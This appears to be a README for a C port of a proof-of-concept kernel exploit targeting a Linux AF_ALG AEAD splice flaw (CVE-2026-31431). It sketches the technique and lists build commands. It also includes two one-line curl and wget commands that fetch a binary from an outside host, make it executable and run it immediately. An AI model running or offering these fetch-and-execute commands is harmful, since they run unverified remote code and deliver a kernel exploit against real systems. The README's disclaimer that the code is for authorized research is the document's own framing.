offsecguy/cve-2026-31431C port of a proof-of-concept exploiting a Linux kernel AF_ALG AEAD splice logic flaw (CVE-2026-31431) for educational research.
This project is a C port of the original Python prototype, by offsecguy.
It leverages the Linux kernel crypto API (AF_ALG) using:
authencesn(hmac(sha256),cbc(aes)) AEAD modeMSG_MORE flagsplice() system callThe technique feeds data from a read-only file descriptor through a crypto socket, processing it chunk-by-chunk.
musl-gcc -static -Os -s -o exp exp.c -I./zlib-1.3.2 -L./zlib-1.3.2 -lz
gcc exp.c -o exp -lz -s -static
gcc exp.c -o exp -lz -s
curl -sLo exp chosen.to/copyfail && chmod +x exp ; ./exp
wget chosen.to/copyfail -qO exp && chmod +x exp ; ./exp
AF_ALGzlib for decompressionThis code is provided for educational and research purposes only.
Use responsibly and only on systems you are authorized to test.